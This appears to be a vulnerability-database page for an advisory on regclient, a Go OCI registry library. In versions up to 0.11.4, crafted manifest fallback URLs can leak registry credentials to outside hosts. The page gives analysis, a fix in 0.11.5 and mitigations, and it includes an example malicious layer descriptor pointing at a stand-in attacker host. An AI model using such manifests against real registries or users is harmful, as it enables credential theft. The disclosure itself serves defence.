EUVD-2026-57221
GHSA-qvqc-4c52-x6qp
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Network-delivered via crafted manifest (AV:N), attacker needs registry control (PR:L), victim must pull image (UI:R), credentials exfiltrated outside originating security domain (S:C), full secret disclosure (C:H), no integrity or availability impact.
Primary rating from Vendor (https://github.com/regclient/regclient).
CVSS VectorVendor: https://github.com/regclient/regclient
Lifecycle Timeline
2DescriptionCVE.org
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
- 2026-05-25: Advisory submitted
- 2026-05-26: Fix released
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
AnalysisAI
Registry credential leakage in regclient (Go OCI library) versions up to and including 0.11.4 exposes authentication secrets to attacker-controlled external servers via crafted OCI image manifests. When regclient fetches a blob layer and the primary registry request fails, it falls back to external URLs defined in the manifest's layer descriptor urls field; if the external server issues an HTTP authentication challenge, regclient forwards the original registry credentials to that host. No active exploitation is confirmed (not in CISA KEV) and no public exploit code has been identified, but the attack mechanism is fully documented in the vendor advisory and the exploit path is straightforward for any attacker with registry control.
Technical ContextAI
regclient is a Go library (pkg:go/github.com/regclient/regclient) for interacting with OCI-compliant container image registries. The OCI image specification permits layer descriptors to include a urls field providing alternative download locations for blob content. CWE-522 (Insufficiently Protected Credentials) identifies the root cause: regclient's blob-fetch logic does not restrict credential forwarding when following fallback URLs defined in untrusted manifest content. Specifically, when a primary blob fetch to the originating registry fails, the library follows any urls entries without validating that they reside within the trusted registry's domain. If the external server responds with an HTTP 401 WWW-Authenticate challenge, regclient supplies the victim's stored registry credentials - leaking secrets beyond the intended authentication domain. This mirrors a credential-scope boundary violation common in HTTP client libraries that do not implement origin-scoped credential policies.
RemediationAI
Upgrade regclient to version 0.11.5 or later, which addresses the credential leakage by restricting credential forwarding to the originating registry domain. The patch was released 2026-05-26 and is documented at https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp. If immediate upgrade is not feasible, compensating controls include: enforcing strict registry allowlists at the CI/CD or orchestration layer to prevent pulls from untrusted registries (reduces the malicious registry prerequisite); configuring registries to reject or sanitize manifests containing external urls in layer descriptors (registry-side policy enforcement); and implementing network egress filtering to block unexpected outbound HTTPS requests from build agents to non-registry domains during image pull operations (this may disrupt legitimate foreign blob fetches but eliminates the credential exfiltration path). Auditing existing CI/CD credential stores for any registries that may have been compromised is advisable if pulls from untrusted sources occurred on affected versions. Note that application-level workarounds are brittle and patching to 0.11.5 is the only reliable fix.
Same weakness CWE-522 – Insufficiently Protected Credentials
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today